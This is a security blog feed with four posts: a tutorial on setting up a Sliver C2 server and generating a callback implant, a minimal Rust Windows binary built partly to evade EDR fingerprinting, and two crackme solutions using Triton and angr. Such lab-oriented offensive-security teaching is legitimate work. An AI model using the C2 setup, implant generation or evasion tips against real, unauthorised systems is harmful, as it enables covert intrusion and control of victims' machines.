Spitfire

Getting Started with Sliver C2 in a Realistic Lab Environment

Sun, 05 Apr 2026 00:00:00 GMT

:::note <a href="https://sliver.sh" target="_blank">Sliver</a> is a powerful command and control (C2) framework designed to provide advanced capabilities for covertly managing and controlling remote systems. :::

In this article, I’ll demonstrate how to set up and operate a Sliver server in a controlled lab environment designed to simulate real-world conditions, using a VPS and HTTPS for remote communication. A machine with a static public IP address is required so that the implant running on a target machine can communicate reliably. For this purpose, I recommend using a VPS running Ubuntu (24.04 or later).

:::warning This setup should only be used in controlled lab environments or with explicit authorization. :::

Installation

curl https://sliver.sh/install | sudo bash

Verify that the installation was successful:

sliver

:::tip Enable sliver service to ensure it persists after reboots.

sudo systemctl enable sliver

:::

DNS Configuration

To achieve a more realistic setup, a domain is required. Since the traffic may be monitored, using a domain makes it more likely to blend in with normal traffic.

:::tip Check the <a href="https://sliver.sh/docs?name=DNS+C2" target="_blank">DNS C2</a> official documentation for more details. :::

Start HTTPS listener

Access sliver client with sliver command and execute:

https --domain <your-domain> --lets-encrypt

Sliver can automatically obtain and manage TLS certificates using Let’s Encrypt when the --lets-encrypt flag is enabled, eliminating the need for manual certificate generation.

To check if the listener was created successful execute jobs. Your Sliver server is now ready to receive implant connections, and communications will be encrypted, reducing the risk of data exposure if the network is monitored.

:::tip Check the <a href="https://sliver.sh/docs?name=HTTPS+C2" target="_blank">HTTPS C2</a> official documentation for more details. :::

Generate implant

generate --os windows --http <your-domain>

This command creates an .exe file which, when executed on a target machine, will establish a connection with the Sliver server and create a session.

:::tip Check the <a href="https://sliver.sh/docs?name=HTTPS+C2" target="_blank">HTTPS C2</a> official documentation for more details. :::

Basic usage

Once the connection is establish, you can list sessions with:

sessions

To interact with a specific session, run:

use <session-id>

After, list availables commands with help. For example, pwd print working directory of the active session.

Use the -h flag to display help for a specific command.

Article source:

::github{repo="matheus-git/spitfire"}

Minimal PE: A no_std Rust Setup for Windows

Sun, 22 Mar 2026 00:00:00 GMT

In this article, I'll show how I implemented a minimal binary with #![no_std] and #![no_main]. By default, a Rust binary ships with the standard library, a heap allocator, runtime initialization code, and a set of well-known imports. This adds size and, more importantly, creates a fingerprint that static analysis tools and EDRs recognize immediately.

:::note[Size Comparison] A standard "Hello World" weighs around 126KB, while a minimal binary showing a MessageBox occupies only 2KB. :::

Edit Cargo.toml:

[package]
name = "message_box"
version = "0.1.0"
edition = "2024"

[profile.dev]
panic = "abort"

[profile.release]
opt-level = "z"
lto = true
codegen-units = 1
panic = "abort"
strip = true

opt-level = "z" optimizes for size rather than speed, the z flag aggressively eliminates anything that adds bytes.
lto = true enables Link Time Optimization, allowing the linker to remove unused code across crates and produce a leaner final binary.
codegen-units = 1 forces the compiler to treat the entire crate as a single unit, enabling better dead code elimination at the cost of longer compile times.
panic = "abort" replaces the default panic handler with a simple abort, removing a significant chunk of runtime code. Applied to both dev and release profiles to keep behavior consistent.
strip = true strips debug symbols from the final binary.

Create .cargo/config.toml:

[build]
target = "x86_64-pc-windows-msvc"

rustflags = [
  "-C", "link-arg=/ENTRY:mainCRTStartup",
  "-C", "link-arg=/SUBSYSTEM:WINDOWS",
  "-C", "link-arg=/NODEFAULTLIB",
  "-C", "link-arg=/MERGE:.rdata=.text",
  "-C", "link-arg=/MERGE:.pdata=.text",
]

target = "x86_64-pc-windows-msvc" sets the default compilation target, so you don't need to pass --target on every cargo build.
/ENTRY:mainCRTStartup tells the linker which function serves as the binary's entry point.
/SUBSYSTEM:WINDOWS defines the PE subsystem. Using WINDOWS instead of CONSOLE tells Windows this is a GUI application.
/NODEFAULTLIB instructs the linker to not automatically link any default libraries, only what you explicitly declare gets linked.
/MERGE:.rdata=.text merges the .rdata section into .text, reducing the total number of PE sections and trimming binary size.
/MERGE:.pdata=.text does the same for .pdata, which holds exception handling data for stack unwinding. Since we use panic = "abort", this section is unused and can be safely merged away.

Edit src/main.rs

#![no_std]
#![no_main]

use core::panic::PanicInfo;
use core::ptr;
use core::ffi::c_void;

#[link(name = "user32")]
unsafe extern "system" {
    fn MessageBoxA(
        hwnd: *mut c_void,
        text: *const u8,
        title: *const u8,
        flags: u32,
    ) -> i32;
}

#[link(name = "kernel32")]
unsafe extern "system" {
    fn ExitProcess(uExitCode: u32) -> !;
}

#[panic_handler]
fn panic(_: &PanicInfo) -> ! {
    unsafe {
        ExitProcess(1);
    }
}

#[unsafe(no_mangle)]
pub extern "system" fn mainCRTStartup() -> ! {
    static TITLE: &[u8] = b"Title\0";
    static BODY: &[u8] = b"Hello, world!\0";

    unsafe {
        MessageBoxA(
            ptr::null_mut(),
            BODY.as_ptr(),
            TITLE.as_ptr(),
            0x00000030,
        );
        ExitProcess(0);
    }
}

#![no_std] disables the Rust standard library entirely, no heap allocator, no runtime, no OS abstractions.
#![no_main] tells the compiler you are not using the standard main entry point, allowing you to define your own.
#[link(name = "...")] instructs the linker to include a specific Windows library.
#[panic_handler] is mandatory in no_std, without the standard library, you must define what happens on a panic yourself.
#[unsafe(no_mangle)] prevents Rust from mangling the function name, ensuring the linker can find mainCRTStartup as the entry point we declared in config.toml.

Build and Run

cargo build --release
.\target\x86_64-pc-windows-msvc\release\message_box.exe

If everything is set up correctly, a MessageBox should appear. And the final binary will weigh around 2KB!

Article source:

::github{repo="matheus-git/spitfire"}

Cracking a Windows Binary with Symbolic Execution using Triton

Sun, 08 Feb 2026 00:00:00 GMT

In this write-up I'm going to solve <a href="https://crackmes.one/crackme/694dc5b60c16072f40f5a43c" target="_blank">simple crackme</a> crackme. I used Angr in the previous reversing, but this is a windows binary, and Angr is not very suitable for the Windows OS. Therefore, i decided to use <a href="https://github.com/JonathanSalwan/Triton" target="_blank">Triton</a>, another symbolic execution framework, which allows more controle over the execution and taint analysis.

Crackme overview

The <a href="https://crackmes.one/crackme/694dc5b60c16072f40f5a43c" target="_blank">simple crackme</a> is a very simple program, it reads a password from stdin and show whether it is correct or wrong. When analyzed with IDA, a quick overview on the graph mode reveals that the stdin buffer (rsp + 0x20) goes through a loop that xor's each input byte, and then compare with it with the string "password". In other words, the correct password is a string that, after some operations, is transformed into "password".

Below is a list of the instructions and their addresses:

Solver

In order to solve this crackme, i wrote a Triton script in Python, emulating the program execution and symbolizes the input buffer. In addition, I used taint analysis to monitor whether the program reads from or writes to the first byte of the buffer. In order to better understand better how the program manipulate the input. Below, I explain each function of the script, you can view the complete script <a href="https://github.com/matheus-git/triton-scripts/blob/main/simple-crackme/solve.py" target="_blank">here</a>.

After initializing the Triton context, I used the lief library to parse the binary and called loadBinary to load its sections into memory.

def loadBinary(ctx, binary):
    for sec in binary.sections:
        ctx.setConcreteMemoryAreaValue(
            sec.virtual_address,
            list(sec.content)
        )
        print(f"[+] Loading"
              f" {hex(sec.virtual_address)} - {hex(sec.virtual_address + sec.virtual_size)}"
              f" {sec.name}")

Then, I called the setup function to configure the stack, populate the input buffer, and taint the first byte. RSP is a global variable with an arbitrary value of 0x7ffffff0, note that the buffer address is the same as the one identified during static analysis in IDA, rsp + 0x20.

After setting the rsp and rbp registers, a loop is executed to populate each byte with a dummy value (0x41, which corresponds to 'A' in the ASCII table). Each byte is then symbolized to inform Triton to monitor operations on this memory address, an alias is set to facilitate debugging, and to finish, taintMemory is used to taint the byte at BUFFER_ADDR.

RSP = 0x7ffffff0
BUFFER_ADDR = RSP + 0x20
BUFFER_SIZE = 8

...

def setup(ctx):
    ctx.setConcreteRegisterValue(ctx.registers.rsp, RSP)
    ctx.setConcreteRegisterValue(ctx.registers.rbp, RSP)

    addr = BUFFER_ADDR
    for i in range(BUFFER_SIZE):
        ctx.setConcreteMemoryValue(addr, 0x41)
        sym = ctx.symbolizeMemory(MemoryAccess(addr, CPUSIZE.BYTE))
        sym.setAlias(f"input_{i}")
        addr += 1

    ctx.taintMemory(BUFFER_ADDR)

The run function receives the address from which the program should start execution. I chose 0x1081 to skip the binary initialization code and avoid having to hook operating system functions, allowing me to focus on the part where the input is transformed. You can check the addresses and instructions in the screenshots at the beginning of the article.

The condition of the while loop is that the program counter (pc) is less than or equal to the maximum address of the .text section, obtained from the loadBinary function. Each instruction retrieved from the pc address is emulated using ctx.processing(inst).

If the instruction reads from or writes to memory that has been tainted, it is printed to the console. The program is emulated until CHECK_ADDR is executed, just before the comparison, because by then the input has already been transformed. At this point, Triton knows all the operations that have been executed on the input.

START_ADDR  = 0x1081
CHECK_ADDR  = 0x10C8

...

def run(ctx, pc):
    while pc <= 0x211c:
        inst = Instruction(pc, ctx.getConcreteMemoryAreaValue(pc, 15))
        ctx.processing(inst)

        if inst.isTainted():
            print("[tainted] %s" % inst.getDisassembly())
        
        if inst.getAddress() == CHECK_ADDR:
            solve(ctx)
            break

        pc = ctx.getConcreteRegisterValue(ctx.registers.rip)

Finally, the solve function iterates over each symbolized byte and queries Triton for the value it must have to match the corresponding character in the PASSWORD variable.

PASSWORD = b"password"

...

def solve(ctx):
    result = ""
    for k, v in enumerate(PASSWORD):
        input = ctx.getSymbolicMemory(BUFFER_ADDR+k).getAst()
        model = ctx.getModel(input == v)
        value = next(iter(model.values())).getValue()
        result += chr(value)    
    print("-------------------")
    print("Password: %s" % result)

At execute this script, it show the sections loaded, tainted instructions and the correct password.

<a href="https://github.com/matheus-git/triton-scripts/blob/main/simple-crackme/solve.py" target="_blank">Source code</a>.

Reverse Engineering “Good Kitty” CrackMe

Sat, 03 Jan 2026 00:00:00 GMT

In this write-up I'm going to solve the <a href="https://crackmes.one/crackme/68c44e20224c0ec5dcedbf4b" target="_blank">good kitty</a> crackme. The objective is to discover the right password, and so the message "good kitty!" is written on stdout. Otherwise "bad kitty!" is shown instead, as in the print below.

I opened the binary in IDA to start static analysis and get an overview of the implementation and trying to figure out ways to discover the password. At first, there is a relatively long section of code that I'm not interested in understanding, so to avoid distractions I looked for the block where the password is read, hopping for a concrete clue.

As you can see in the graph, the first block calls _read, which stores the user input in the buffer located at rsp+0x60, with a length of 64 bytes. After that, the execution flow doesn't return, so I plan to write a symbolic-execution script (with angr) to solve the remaining code. For angr script to start into the middle of the binary, I need to set up the stack data that is required afterward. To do this, I run gdb and collect the necessary values, for example, rsp+0xb.

import angr
import claripy

def main():
    proj = angr.Project(
            'good-kitty',
            auto_load_libs=False,
            main_opts={
                "base_addr": 0x555555554000
            }
        )

    chars = [claripy.BVS('char_%d' % i, 8) for i in range(64)]
    input_arg = claripy.Concat(*chars)

    state = proj.factory.blank_state(addr=0x555555555539)

    for k in chars:
        state.solver.add(k < 0x7f)
        state.solver.add(k > 0x20)

    STACK_BASE = 0x7fffffffdc80
    STACK_SIZE = 0x1000

    state.memory.map_region(
        STACK_BASE - STACK_SIZE,
        STACK_SIZE,
        7
    )

    state.regs.rsp = STACK_BASE
    state.regs.rax = claripy.BVS("rax", 64)

    state.memory.store(
        state.regs.rsp + 0xb,
        claripy.BVV(1, 8)
    )
    state.memory.store(
        state.regs.rsp + 0xc,
        claripy.BVV(0, 32)
    )
    state.memory.store(
        state.regs.rsp + 0x60,
        input_arg
    )
    state.memory.store(
        state.regs.rsp + 0x10,
        b"00sGo4M0passwordenter the right password\x00"
    )

    sm = proj.factory.simulation_manager(state)
    sm.explore( find=lambda s: b"good kitty!" in s.posix.dumps(1), avoid=lambda s: b"bad kitty!" in s.posix.dumps(1) )

    if sm.found:
        input_value = sm.found[0].solver.eval(input_arg, cast_to=bytes)
        print(f"{input_value}")
    else:
        print("Bad kitty!")

if __name__ == "__main__":
    main()

At execute this script, the right password "00sGo4M0" is shown and the crackme is solved. You can find the binary and script in my <a href="https://github.com/matheus-git/angr-scripts/blob/main/good-kitty/solve.py" target="_blank">github</a> repository.